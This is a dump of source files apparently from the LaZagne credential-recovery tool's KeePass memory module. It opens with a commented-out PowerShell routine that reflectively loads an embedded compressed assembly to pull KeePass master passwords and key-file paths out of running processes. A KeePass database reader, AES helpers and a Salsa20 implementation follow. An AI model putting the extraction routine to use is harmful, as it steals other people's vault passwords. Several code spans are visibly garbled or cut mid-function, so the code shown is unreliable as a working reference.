97RXzqxJ+VSq3knMr7xZl/LEy/lhZf6ysP1bOHyvnj5X3x8r7YxX9sYpySSXyrlvRX1vZX1vZX1vZX5vor0301yb6a5P9x5HiV9X # 8qrpf1fSr2n5Vx6/q+VV9v2roV438qolfNfWr5n7V0q9a+1Ubv2rnV+39qoNfdfSrTn7V2a/S/CrdrzL8qrtf9fCrnn7V268y/aq # fX2X51UC/GuxXQ/xqqF8N96sR/jMzwvlj89yfkf7YSH9slD82KndMya28V8Bof+1of+1of+0Yf+0Yf3tj/bGx/tg4f2ycv5Vx/lY # m+Gsn+Gsn+Gsn+msn+msn+jNskr92kr92kr92sr92sr92cu6WRW7l9U31+6b6fVP9vql+3zT/6E73bzFdruSOzfDHZuSOKbmVd9u # Z/m1n+dVsv5rrV/P8ar5fLfSrRX612K+W+tUyv1ruVyvdKk5a5Y+t9qu1/j6v9fd0nb92vb92vb92g+y9J2701270n+lN/tgmf2y # zP7bZH9vij23xx7b6Y1v9se3+2HZ/bIc/tsMf2+mP7fTHdvmPY7df7fGrvX6V7Vf7/a3s97dywB874I8d9McO+vPloD9jD/trD/t # rD/trj8g13LVH5Hru2iO5fSK38o7zUb/vqN931O876vcd9/uO+33H/b7jft9Jv++k33fS7zvp9533H6VQvLETAe+M4kQgx332T/l # jp/yxn/2xn/2xX/yxX/yxXwPeHMrxqwu5a+XcKs69398C3h787ld/+pWke8+b4leq7h373L8envsT8McC/liUPxblj8X4YzH+mOm # Pmbr3+Wb6a21/re2vtf21IX+v8vlVAb8q5FdxfhXvV0X86ha/Ku5XJf2qtF/d6le3+dXt/v7drnvPagV/rII/Vskfq+SPVfHHquj # eLK7iP7Ykf22SvzZJ994xk/y+qn5fVd17n0z19+8Ov6rhV7V07/3qTn+srl/d5VcNdG/m3O2PNfare/z7vcd/RM107xXQTPdeAc1 # 07xXQzN/nFn5fC7+vhd/Xwu9rpXtnjK1yH7mSW3lr7/XX3qtHXvuqNFNvmjsWRxXZe1Wa5Y/N8sdm+2Oz/bG5/thcdyxOmudX8/1 # qqX+LZe4t+Fzwj9WtUV51j1+18KuRMV41yq9G+5VseFU106kmS92ld+Tu0iA5Ud4rNZBtuYOcj4gnbiGKE6XlDfKtxO1EJdlUKsn # JShWiKutSiRpEEaIWUZdoQNxN3EO0IFoRbYmHiYeIrsTL8iblkdz8ndKL3J8YQDxODCOelouIp7mPZ7nP8dTjqV8gnmS5pLxRTJF # /EiVlW/2I3m6527lVfYV9e426LzGHeINYQCwh3iLeJV4nXsrt/1JdQS7J9t6Xz6ofEJ9Qf0ZsIw4oZ9UvyYfJJeVeWhF5lFZSfkP # 7htt8Rewjvmf9IfbtEPv1E/vzpHxBqyBf0U7k7luFQIz8VGCe+DkwSM6nbxJOjNRHqN/qS/Sz6jv6BnmJzuOMceLBKMkYTYyLSjU # 3E/uj5omZ0d/KM6NLykqMKUfHDCBe00cbr+rPE9OM1/TXiYXGHPIc8mv6u8Ra4hOWt5O/IQ5QHyOfNd7QfydL5mt6NBFPlCIqECn # mEv1O8x29Abkdyw2IjkRX8029N2NZxBDzDX2E+bo+2pyjP09MM+uyb4PkdeYmsc4sKZe3Bsm1rSJyV6ukPNxqKz9D/YdVl9gkKtt # L9IuxtWQ93xK9VL539HL5noppRsyMfjImUT4Tk5bvyZhMYiAxNN/r0hApTh4iVcqNd7Uq5Crye1oSOUleo1UlV5U/1FLIqUQ1orr # 8hVZLHh+SpK/vNyTv5wR1VIdry9f/fOf3da6f2b/hYxnN03r0kXpnpWf2z8io1LVXr9x1V8tEdWj6T24jSV1OjmrvZOct4R6iAvd # ToaYh3dumQRtl+Kbjt/Rc2nJp9Z7HZh3u/Krzcqtf48H6mV0zHmyakdH2kYxuA64VD/fo8+C9Gb0y0rIyvLFKfbs+/E/3+n/Dj/P # /QHO+sZCejCO3It+4Xs59r7rjn4w7P3kG/f5HbtL/Nm/WL3QxpCLi2poioireJ7WROmND6V6qJlJLqQXLTfBuaudnnXrmT8n9nvj # 6bdZxl9Tr1ng/DXLH7pPSpP5sp4fUS8pgm32kblJm7vrSubdqy9o0RrNYnyYNoC9T6uNu4R11WO77dRvG+7OmD++v/7il+3N7qvj # /VZUeRs4dco9HfXp6818G/QO4l8hPyevW9c29/yE82rTcPu+nRu7/t867vwZElpSeux99b9jPpqzJ4HE8gt1Y4/xUkaKuu+19RH9 # ufe02iVIlerxw7sv5f+E1yd1Hp7cP+9Lruj3Kex+VyI+5+9pYyic5/3+6DI6OcyvnUfXl8Th72p1bOHv0j2PFpYVEcSmJ+0+UUum # 5PfeYXNtO5JnpynLv3Oewp3/0nG+EnP1t6W6vh7u/3uPt87f2Oyn3+LZiG5ncy0CO7YAbnoN/dlyr5h7XG2+T9+jmPbZ35N6mHh1 # ZuY/lYfZxCI/8r273QbohnbhuUp9Zu75Wncd69yo+KKN/Vo/MPrVLJlaqUrJ4Rp/0zK49+nSvXbJd27sr3lGyeNaAtD5d03pl9sm # oXXJIRlbJOndaMVZMrbSsrIzeD/caUpxN9MmqXXJg/z41stIfyeidllWxd4/0/plZmd0GVEzP7F0jLat3pUGJJYv3TuvTo1tG1oD # 7rr8/Nla8uL+xJl0z+gzoMWDIDfvk/FeyeJ+03uxA8yH1+vbt1SM9bQBrK6X17VuycmQLA/oPzBrQpE+3zL+5P0mRe+aWWRnpA/t # zn+4yI/0z+g1kPzO6turfY1CPXhndM7L+5laTS/pbuX47fIikD3T2uFnGoIxexXs51i6ZltWkz6DMnhn9SxYf2KNeenpGFnfQLa1 # XVob7oHI3Uvmf7I2365Vv2Pdalf2DwHKtyt5BvVP67/20MiST9Mcd/8X7+P9//tf+/B8=' # $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String( # $EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) # $UncompressedFileBytes = New-Object Byte[](738304) # $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null # $Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes) # } # PROCESS { # ForEach($KeePassProcess in $Process) { # if($KeePassProcess.FileVersion -match '^2\\.') { # $WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)" # $ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath # $Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null, # @([System.Diagnostics.Process]$KeePassProcess)) # if($Keys) { # $array = @() # ForEach ($Key in $Keys) { # $Database = New-Object PSObject # ForEach($UserKey in $Key.UserKeys) { # $KeyType = $UserKey.GetType().Name # $UserKeyObject = New-Object PSObject # $UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation # $UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath # $UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType # $UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion # if($KeyType -eq 'KcpPassword') { # $Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob) # } # else { # $Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob) # } # $UserKeyObject | Add-Member Noteproperty 'Password' ($Plaintext -replace "`0", "") # if($KeyType -eq 'KcpUserAccount') { # try { # $WMIProcess = Get-WmiObject win32_process -Filter ` # "ProcessID = $($KeePassProcess.ID)" # $UserName = $WMIProcess.GetOwner().User # $ProtectedUserKeyPath = Resolve-Path -Path ` # "$($Env:WinDir | Split-Path -Qualifier)` # \\Users\\*$UserName*\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin" ` # -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path # $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath # } # catch { # Write-Warning "Error: Error enumerating the owner of $($KeePassProcess.ID) : $_" # } # } # else { # $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath # } # $UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys') # $Database | Add-Member Noteproperty $KeyType $UserKeyObject # } # $array += , $Database # } # ConvertTo-Json $array # } # else { # Write-Verbose "Error: No keys found for $($KeePassProcess.ID)" # } # } # } # } # } # ''' ================================================ FILE: Windows/lazagne/softwares/memory/libkeepass/__init__.py ================================================ # -*- coding: utf-8 -*- import io from contextlib import contextmanager from .common import read_signature # from kdb3 import KDB3Reader, KDB3_SIGNATURE from .kdb4 import KDB4Reader, KDB4_SIGNATURE BASE_SIGNATURE = 0x9AA2D903 _kdb_readers = { # KDB3_SIGNATURE[1]: KDB3Reader, #0xB54BFB66: KDB4Reader, # pre2.x may work, untested KDB4_SIGNATURE[1]: KDB4Reader, } @contextmanager def open(filename, **credentials): """ A contextmanager to open the KeePass file with `filename`. Use a `password` and/or `keyfile` named argument for decryption. Files are identified using their signature and a reader suitable for the file format is intialized and returned. Note: `keyfile` is currently not supported for v3 KeePass files. """ kdb = None try: with io.open(filename, 'rb') as stream: signature = read_signature(stream) cls = get_kdb_reader(signature) kdb = cls(stream, **credentials) yield kdb kdb.close() except Exception: if kdb: kdb.close() raise def add_kdb_reader(sub_signature, cls): """ Add or overwrite the class used to process a KeePass file. KeePass uses two signatures to identify files. The base signature is always `0x9AA2D903`. The second/sub signature varies. For example KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub signature `0xB54BFB67`. Use this method to add or replace a class by givin a `sub_signature` as integer and a class, which should be a subclass of `keepass.common.KDBFile`. """ _kdb_readers[sub_signature] = cls def get_kdb_reader(signature): """ Retrieve the class used to process a KeePass file by `signature`, which is a a tuple or list with two elements. The first being the base signature and the second the sub signature as integers. """ if signature[0] != BASE_SIGNATURE: raise IOError('Unknown base signature.') if signature[1] not in _kdb_readers: raise IOError('Unknown sub signature.') return _kdb_readers[signature[1]] ================================================ FILE: Windows/lazagne/softwares/memory/libkeepass/common.py ================================================ # -*- coding: utf-8 -*- import base64 import codecs import io import struct from xml.etree import ElementTree from .crypto import sha256 try: file_types = (file, io.IOBase) except NameError: file_types = (io.IOBase,) # file header class HeaderDictionary(dict): """ A dictionary on steroids for comfortable header field storage and manipulation. Header fields must be defined in the `fields` property before filling the dictionary with data. The `fields` property is a simple dictionary, where keys are field names (string) and values are field ids (int):: >>> h.fields['rounds'] = 4 Now you can set and get values using the field id or the field name interchangeably:: >>> h[4] = 3000 >>> print h['rounds'] 3000 >>> h['rounds'] = 6000 >>> print h[4] 6000 It is also possible to get and set data using the field name as an attribute:: >>> h.rounds = 9000 >>> print h[4] 9000 >>> print h.rounds 9000 For some fields it is more comfortable to unpack their byte value into a numeric or character value (eg. the transformation rounds). For those fields add a format string to the `fmt` dictionary. Use the field id as key:: >>> h.fmt[4] = '>> h.b.rounds = '\x70\x17\x00\x00\x00\x00\x00\x00' >>> print h.b.rounds '\x70\x17\x00\x00\x00\x00\x00\x00' >>> print h.rounds 6000 The `b` (binary?) attribute is a special way to set and get data in its packed format, while the usual attribute or dictionary access allows setting and getting a numeric value:: >>> h.rounds = 3000 >>> print h.b.rounds '\xb8\x0b\x00\x00\x00\x00\x00\x00' >>> print h.rounds 3000 """ fields = {} fmt = {} def __init__(self, *args): dict.__init__(self, *args) def __getitem__(self, key): if isinstance(key, int): return dict.__getitem__(self, key) else: return dict.__getitem__(self, self.fields[key]) def __setitem__(self, key, val): if isinstance(key, int): dict.__setitem__(self, key, val) else: dict.__setitem__(self, self.fields[key], val) def __getattr__(self, key): class wrap(object): def __init__(self, d): object.__setattr__(self, 'd', d) def __getitem__(self, key): fmt = self.d.fmt.get(self.d.fields.get(key, key)) if fmt: return struct.pack(fmt, self.d[key]) else: return self.d[key] __getattr__ = __getitem__ def __setitem__(self, key, val): fmt = self.d.fmt.get(self.d.fields.get(key, key)) if fmt: self.d[key] = struct.unpack(fmt, val)[0] else: self.d[key] = val __setattr__ = __setitem__ if key == 'b': return wrap(self) try: return self.__getitem__(key) except KeyError: raise AttributeError(key) def __setattr__(self, key, val): try: return self.__setitem__(key, val) except KeyError: return dict.__setattr__(self, key, val) # file baseclass class KDBFile(object): def __init__(self, stream=None, **credentials): # list of hashed credentials (pre-transformation) self.keys = [] self.add_credentials(**credentials) # the buffer containing the decrypted/decompressed payload from a file self.in_buffer = None # the buffer filled with data for writing back to a file before # encryption/compression self.out_buffer = None # position in the `in_buffer` where the payload begins self.header_length = None # decryption success flag, set this to true upon verification of the # encryption masterkey. if this is True `in_buffer` must contain # clear data. self.opened = False # the raw/basic file handle, expect it to be closed after __init__! if stream is not None: if not isinstance(stream, io.IOBase): raise TypeError('Stream does not have the buffer interface.') self.read_from(stream) def read_from(self, stream): if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)): raise TypeError('Stream does not have the buffer interface.') self._read_header(stream) self._decrypt(stream) def _read_header(self, stream): raise NotImplementedError('The _read_header method was not ' 'implemented propertly.') def _decrypt(self, stream): self._make_master_key() # move read pointer beyond the file header if self.header_length is None: raise IOError('Header length unknown. Parse the header first!') stream.seek(self.header_length) def write_to(self, stream): raise NotImplementedError('The write_to() method was not implemented.') def add_credentials(self, **credentials): if credentials.get('password'): self.add_key_hash(sha256(credentials['password'])) if credentials.get('keyfile'): self.add_key_hash(load_keyfile(credentials['keyfile'])) def clear_credentials(self): """Remove all previously set encryption key hashes.""" self.keys = [] def add_key_hash(self, key_hash): """ Add an encryption key hash, can be a hashed password or a hashed keyfile. Two things are important: must be SHA256 hashes and sequence is important: first password if any, second key file if any. """ if key_hash is not None: self.keys.append(key_hash) def _make_master_key(self): if len(self.keys) == 0: raise IndexError('No credentials found.') def close(self): if self.in_buffer: self.in_buffer.close() def read(self, n=-1): """ Read the decrypted and uncompressed data after the file header. For example, in KDB4 this would be plain, utf-8 xml. Note that this is the source data for the lxml.objectify element tree at `self.obj_root`. Any changes made to the parsed element tree will NOT be reflected in that data stream! Use `self.pretty_print` to get XML output from the element tree. """ if self.in_buffer: return self.in_buffer.read(n) def seek(self, offset, whence=io.SEEK_SET): if self.in_buffer: return self.in_buffer.seek(offset, whence) def tell(self): if self.in_buffer: return self.in_buffer.tell() # loading keyfiles def load_keyfile(filename): try: return load_xml_keyfile(filename) except Exception: pass try: return load_plain_keyfile(filename) except Exception: pass def load_xml_keyfile(filename): """ // Sample XML file: // // // // 1.00 // // // ySFoKuCcJblw8ie6RkMBdVCnAf4EedSch7ItujK6bmI= // // """ with open(filename, 'r') as f: # ignore meta, currently there is only version "1.00" tree = ElementTree.parse(f).getroot() # read text from key, data and convert from base64 return base64.b64decode(tree.find('Key/Data').text) # raise IOError('Could not parse XML keyfile.') def load_plain_keyfile(filename): """ A "plain" keyfile is a file containing only the key. Any other file (JPEG, MP3, ...) can also be used as keyfile. """ with open(filename, 'rb') as f: key = f.read() # if the length is 32 bytes we assume it is the key if len(key) == 32: return key # if the length is 64 bytes we assume the key is hex encoded if len(key) == 64: return codecs.decode(key, 'hex') # anything else may be a file to hash for the key return sha256(key) # raise IOError('Could not read keyfile.') def stream_unpack(stream, offset, length, typecode='I'): if offset is not None: stream.seek(offset) data = stream.read(length) return struct.unpack('<' + typecode, data)[0] def read_signature(stream): sig1 = stream_unpack(stream, 0, 4) sig2 = stream_unpack(stream, None, 4) # ver_minor = stream_unpack(stream, None, 2, 'h') # ver_major = stream_unpack(stream, None, 2, 'h') # return (sig1, sig2, ver_major, ver_minor) return sig1, sig2 ================================================ FILE: Windows/lazagne/softwares/memory/libkeepass/crypto.py ================================================ # -*- coding: utf-8 -*- import hashlib import struct from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC from lazagne.config.winstructure import char_to_int AES_BLOCK_SIZE = 16 def sha256(s): """Return SHA256 digest of the string `s`.""" return hashlib.sha256(s).digest() def transform_key(key, seed, rounds): """Transform `key` with `seed` `rounds` times using AES ECB.""" # create transform cipher with transform seed cipher = AESModeOfOperationECB(seed) # transform composite key rounds times for n in range(0, rounds): key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)]) # return hash of transformed key return sha256(key) def aes_cbc_decrypt(data, key, enc_iv): """Decrypt and return `data` with AES CBC.""" cipher = AESModeOfOperationCBC(key, iv=enc_iv) return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) def aes_cbc_encrypt(data, key, enc_iv): cipher = AESModeOfOperationCBC(key, iv=enc_iv) return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) def unpad(data): extra = char_to_int(data[-1]) return data[:len(data) - extra] def pad(s): n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE return s + n * struct.pack('b', n) def xor(aa, bb): """Return a bytearray of a bytewise XOR of `aa` and `bb`.""" result = bytearray() for a, b in zip(bytearray(aa), bytearray(bb)): result.append(a ^ b) return result ================================================ FILE: Windows/lazagne/softwares/memory/libkeepass/hbio.py ================================================ # -*- coding: utf-8 -*- import hashlib import io import struct # default from KeePass2 source BLOCK_LENGTH = 1024 * 1024 try: file_types = (file, io.IOBase) except NameError: file_types = (io.IOBase,) # HEADER_LENGTH = 4+32+4 def read_int(stream, length): try: return struct.unpack(' 0: data = block_stream.read(length) if hashlib.sha256(data).digest() == bhash: return data else: raise IOError('Block hash mismatch error.') return bytes() def write_block_stream(self, stream, block_length=BLOCK_LENGTH): """ Write all data in this buffer, starting at stream position 0, formatted in hashed blocks to the given `stream`. For example, writing data from one file into another as hashed blocks:: # create new hashed block io without input stream or data hb = HashedBlockIO() # read from a file, write into the empty hb with open('sample.dat', 'rb') as infile: hb.write(infile.read()) # write from the hb into a new file with open('hb_sample.dat', 'w') as outfile: hb.write_block_stream(outfile) """ if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)): raise TypeError('Stream does not have the buffer interface.') index = 0 self.seek(0) while True: data = self.read(block_length) if data: stream.write(struct.pack('10 is undefined if field_id not in self.header.fields.values(): raise IOError('Unknown header field found.') # two byte (short) length of field data length = stream_unpack(stream, None, 2, 'h') if length > 0: data = stream_unpack(stream, None, length, '{}s'.format(length)) self.header.b[field_id] = data # set position in data stream of end of header if field_id == 0: self.header_length = stream.tell() break # def _write_header(self, stream): # """Serialize the header fields from self.header into a byte stream, prefix # with file signature and version before writing header and out-buffer # to `stream`. # Note, that `stream` is flushed, but not closed!""" # # serialize header to stream # header = bytearray() # # write file signature # header.extend(struct.pack(' len(self._salsa_buffer): new_salsa = self.salsa.encrypt_bytes(str(bytearray(64))) self._salsa_buffer.extend(new_salsa) nacho = self._salsa_buffer[:length] del self._salsa_buffer[:length] return nacho def _unprotect(self, string): """ Base64 decode and XOR the given `string` with the next salsa. Returns an unprotected string. """ tmp = base64.b64decode(string) return str(xor(tmp, self._get_salsa(len(tmp)))) def _protect(self, string): """ XORs the given `string` with the next salsa and base64 encodes it. Returns a protected string. """ tmp = str(xor(string, self._get_salsa(len(string)))) return base64.b64encode(tmp) class KDB4Reader(KDB4File, KDBXmlExtension): """ Usually you would want to use the `keepass.open` context manager to open a file. It checks the file signature and creates a suitable reader-instance. doing it by hand is also possible:: kdb = keepass.KDB4Reader() kdb.add_credentials(password='secret') with open('passwords.kdb', 'rb') as fh: kdb.read_from(fh) or...:: with open('passwords.kdb', 'rb') as fh: kdb = keepass.KDB4Reader(fh, password='secret') """ def __init__(self, stream=None, **credentials): KDB4File.__init__(self, stream, **credentials) def read_from(self, stream, unprotect=True): KDB4File.read_from(self, stream) # the extension requires parsed header and decrypted self.in_buffer, so # initialize only here KDBXmlExtension.__init__(self, unprotect) # def write_to(self, stream, use_etree=True): # """ # Write the KeePass database back to a KeePass2 compatible file. # :arg stream: A file-like object or IO buffer. # :arg use_tree: Serialize the element tree to XML to save (default: # True), Set to False to write the data currently in the in-buffer # instead. # """ # if use_etree: # KDBXmlExtension.write_to(self, stream) # KDB4File.write_to(self, stream) ================================================ FILE: Windows/lazagne/softwares/memory/libkeepass/pureSalsa20.py ================================================ #!/usr/bin/env python # coding: utf-8 """ pureSalsa20.py -- a pure Python implementation of the Salsa20 cipher ==================================================================== There are comments here by two authors about three pieces of software: comments by Larry Bugbee about Salsa20, the stream cipher by Daniel J. Bernstein (including comments about the speed of the C version) and pySalsa20, Bugbee's own Python wrapper for salsa20.c (including some references), and comments by Steve Witham about pureSalsa20, Witham's pure Python 2.5 implementation of Salsa20, which follows pySalsa20's API, and is in this file. Salsa20: a Fast Streaming Cipher (comments by Larry Bugbee) ----------------------------------------------------------- Salsa20 is a fast stream cipher written by Daniel Bernstein that basically uses a hash function and XOR making for fast encryption. (Decryption uses the same function.) Salsa20 is simple and quick. Some Salsa20 parameter values... design strength 128 bits key length 128 or 256 bits, exactly IV, aka nonce 64 bits, always chunk size must be in multiples of 64 bytes Salsa20 has two reduced versions, 8 and 12 rounds each. One benchmark (10 MB): 1.5GHz PPC G4 102/97/89 MB/sec for 8/12/20 rounds AMD Athlon 2500+ 77/67/53 MB/sec for 8/12/20 rounds (no I/O and before Python GC kicks in) Salsa20 is a Phase 3 finalist in the EU eSTREAM competition and appears to be one of the fastest ciphers. It is well documented so I will not attempt any injustice here. Please see "References" below. ...and Salsa20 is "free for any use". pySalsa20: a Python wrapper for Salsa20 (Comments by Larry Bugbee) ------------------------------------------------------------------ pySalsa20.py is a simple ctypes Python wrapper. Salsa20 is as it's name implies, 20 rounds, but there are two reduced versions, 8 and 12 rounds each. Because the APIs are identical, pySalsa20 is capable of wrapping all three versions (number of rounds hardcoded), including a special version that allows you to set the number of rounds with a set_rounds() function. Compile the version of your choice as a shared library (not as a Python extension), name and install it as libsalsa20.so. Sample usage: from pySalsa20 import Salsa20 s20 = Salsa20(key, IV) dataout = s20.encryptBytes(datain) # same for decrypt This is EXPERIMENTAL software and intended for educational purposes only. To make experimentation less cumbersome, pySalsa20 is also free for any use. THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF ANY KIND. USE AT YOUR OWN RISK. Enjoy, Larry Bugbee bugbee@seanet.com April 2007 References: ----------- http://en.wikipedia.org/wiki/Salsa20 http://en.wikipedia.org/wiki/Daniel_Bernstein http://cr.yp.to/djb.html http://www.ecrypt.eu.org/stream/salsa20p3.html http://www.ecrypt.eu.org/stream/p3ciphers/salsa20/salsa20_p3source.zip Prerequisites for pySalsa20: ---------------------------- - Python 2.5 (haven't tested in 2.4) pureSalsa20: Salsa20 in pure Python 2.5 (comments by Steve Witham) ------------------------------------------------------------------ pureSalsa20 is the stand-alone Python code in this file. It implements the underlying Salsa20 core algorithm and emulates pySalsa20's Salsa20 class API (minus a bug(*)). pureSalsa20 is MUCH slower than libsalsa20.so wrapped with pySalsa20-- about 1/1000 the speed for Salsa20/20 and 1/500 the speed for Salsa20/8, when encrypting 64k-byte blocks on my computer. pureSalsa20 is for cases where portability is much more important than speed. I wrote it for use in a "structured" random number generator. There are comments about the reasons for this slowness in http://www.tiac.net/~sw/2010/02/PureSalsa20 Sample usage: from pureSalsa20 import Salsa20 s20 = Salsa20(key, IV) dataout = s20.encryptBytes(datain) # same for decrypt I took the test code from pySalsa20, added a bunch of tests including rough speed tests, and moved them into the file testSalsa20.py. To test both pySalsa20 and pureSalsa20, type python testSalsa20.py (*)The bug (?) in pySalsa20 is this. The rounds variable is global to the libsalsa20.so library and not switched when switching between instances of the Salsa20 class. s1 = Salsa20( key, IV, 20 ) s2 = Salsa20( key, IV, 8 ) In this example, with pySalsa20, both s1 and s2 will do 8 rounds of encryption. with pureSalsa20, s1 will do 20 rounds and s2 will do 8 rounds. Perhaps giving each instance its own nRounds variable, which is passed to the salsa20wordtobyte() function, is insecure. I'm not a cryptographer. pureSalsa20.py and testSalsa20.py are EXPERIMENTAL software and intended for educational purposes only. To make experimentation less cumbersome, pureSalsa20.py and testSalsa20.py are free for any use. Revisions: ---------- p3.2 Fixed bug that initialized the output buffer with plaintext! Saner ramping of nreps in speed test. Minor changes and print statements. p3.1 Took timing variability out of add32() and rot32(). Made the internals more like pySalsa20/libsalsa . Put the semicolons back in the main loop! In encryptBytes(), modify a byte array instead of appending. Fixed speed calculation bug. Used subclasses instead of patches in testSalsa20.py . Added 64k-byte messages to speed test to be fair to pySalsa20. p3 First version, intended to parallel pySalsa20 version 3. More references: ---------------- http://www.seanet.com/~bugbee/crypto/salsa20/ [pySalsa20] http://cr.yp.to/snuffle.html [The original name of Salsa20] http://cr.yp.to/snuffle/salsafamily-20071225.pdf [ Salsa20 design] http://www.tiac.net/~sw/2010/02/PureSalsa20 THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF ANY KIND. USE AT YOUR OWN RISK. Cheers, Steve Witham sw at remove-this tiac dot net February, 2010 """ from array import array from struct import Struct from lazagne.config.winstructure import char_to_int little_u64 = Struct("= 2**64" ctx = self.ctx ctx[8], ctx[9] = little2_i32.unpack(little_u64.pack(counter)) def get_counter(self): return little_u64.unpack(little2_i32.pack(*self.ctx[8:10]))[0] def set_rounds(self, rounds, testing=False): assert testing or rounds in [8, 12, 20], 'rounds must be 8, 12, 20' self.rounds = rounds def encrypt_bytes(self, data): assert type(data) == str, 'data must be byte string' assert self._lastChunk64, 'previous chunk not multiple of 64 bytes' lendata = len(data) munged = array('c', '\x00' * lendata) for i in xrange(0, lendata, 64): h = salsa20_wordtobyte(self.ctx, self.rounds, check_rounds=False) self.set_counter((self.get_counter() + 1) % 2 ** 64) # Stopping at 2^70 bytes per nonce is user's responsibility. for j in xrange(min(64, lendata - i)): munged[i + j] = chr(char_to_int(data[i + j]) ^ char_to_int(h[j])) self._lastChunk64 = not lendata % 64 return munged.tostring() decrypt_bytes = encrypt_bytes # encrypt and decrypt use same function # -------------------------------------------------------------------------- def salsa20_wordtobyte(input, n_rounds=20, check_rounds=True): """ Do nRounds Salsa20 rounds on a copy of input: list or tuple of 16 ints treated as little-endian unsigneds. Returns a 64-byte string. """ assert (type(input) in (list, tuple) and len(input) == 16) assert (not check_rounds or (n_rounds in [8, 12, 20])) x = list(input) def XOR(a, b): return a ^ b ROTATE = rot32 PLUS = add32 for i in range(n_rounds / 2): # These ...XOR...ROTATE...PLUS... lines are from ecrypt-linux.c # unchanged except for indents and the blank line between rounds: x[4] = XOR(x[4], ROTATE(PLUS(x[0], x[12]), 7)) x[8] = XOR(x[8], ROTATE(PLUS(x[4], x[0]), 9)) x[12] = XOR(x[12], ROTATE(PLUS(x[8], x[4]), 13)) x[0] = XOR(x[0], ROTATE(PLUS(x[12], x[8]), 18)) x[9] = XOR(x[9], ROTATE(PLUS(x[5], x[1]), 7)) x[13] = XOR(x[13], ROTATE(PLUS(x[9], x[5]), 9)) x[1] = XOR(x[1], ROTATE(PLUS(x[13], x[9]), 13)) x[5] = XOR(x[5], ROTATE(PLUS(x[1], x[13]), 18)) x[14] = XOR(x[14], ROTATE(PLUS(x[10], x[6]), 7)) x[2] = XOR(x[2], ROTATE(PLUS(x[14], x[10]), 9)) x[6] = XOR(x[6], ROTATE(PLUS(x[2], x[14]), 13)) x[10] = XOR(x[10], ROTATE(PLUS(x[6], x[2]), 18)) x[3] = XOR(x[3], ROTATE(PLUS(x[15], x[11]), 7)) x[7] = XOR(x[7], ROTATE(PLUS(x[3], x[15]), 9)) x[11] = XOR(x[11], ROTATE(PLUS(x[7], x[3]), 13)) x[15] = XOR(x[15], ROTATE(PLUS(x[11], x[7]), 18)) x[1] = XOR(x[1], ROTATE(PLUS(x[0], x[3]), 7)) x[2] = XOR(x[2], ROTATE(PLUS(x[1], x[0]), 9)) x[3] = XOR(x[3], ROTATE(PLUS(x[2], x[1]), 13)) x[0] = XOR(x[0], ROTATE(PLUS(x[3], x[2]), 18)) x[6] = XOR(x[6], ROTATE(PLUS(x[5], x[4]), 7)) x[7] = XOR(x[7], ROTATE(PLUS(x[6], x[5]), 9)) x[4] = XOR(x[4], ROTATE(PLUS(x[7], x[6]), 13)) x[5] = XOR(x[5], ROTATE(PLUS(x[4], x[7]), 18)) x[11] = XOR(x[11], ROTATE(PLUS(x[10], x[9]), 7)) x[8] = XOR(x[8], ROTATE(PLUS(x[11], x[10]), 9)) x[9] = XOR(x[9], ROTATE(PLUS(x[8], x[11]), 13)) x[10] = XOR(x[10], ROTATE(PLUS(x[9], x[8]), 18)) x[12] = XOR(x[12], ROTATE(PLUS(x[15], x[14]), 7)) x[13] = XOR(x[13], ROTATE(PLUS(x[12], x[15]), 9)) x[14] = XOR(x[14], ROTATE(PLUS(x[13], x[12]), 13)) x[15] = XOR(x[15], ROTATE(PLUS(x[14], x[13]), 18)) for i in range(len(input)): x[i] = PLUS(x[i], input[i]) return little16_i32.pack(*x) # --------------------------- 32-bit ops ------------------------------- def trunc32(w): """ Return the bottom 32 bits of w as a Python int. This creates longs temporarily, but returns an int. """ w = int((w & 0x7fffFFFF) | -(w & 0x80000000)) assert type(w) == int return w def add32(a, b): """ Add two 32-bit words discarding carry above 32nd bit, and without creating a Python long. Timing shouldn't vary. """ lo = (a & 0xFFFF) + (b & 0xFFFF) hi = (a >> 16) + (b >> 16) + (lo >> 16) return (-(hi & 0x8000) | (hi & 0x7FFF)) << 16 | (lo & 0xFFFF) def rot32(w, n_left): """ Rotate 32-bit word left by nLeft or right by -nLeft without creating a Python long. Timing depends on nLeft but not on w. """ n_left &= 31 # which makes nLeft >= 0 if n_left == 0: return w # Note: now 1 <= nLeft <= 31. # RRRsLLLLLL There are nLeft RRR's, (31-nLeft) LLLLLL's, # => sLLLLLLRRR and one s which becomes the sign bit. RRR = (((w >> 1) & 0x7fffFFFF) >> (31 - n_left)) sLLLLLL = -((1 << (31 - n_left)) & w) | (0x7fffFFFF >> n_left) & w return RRR | 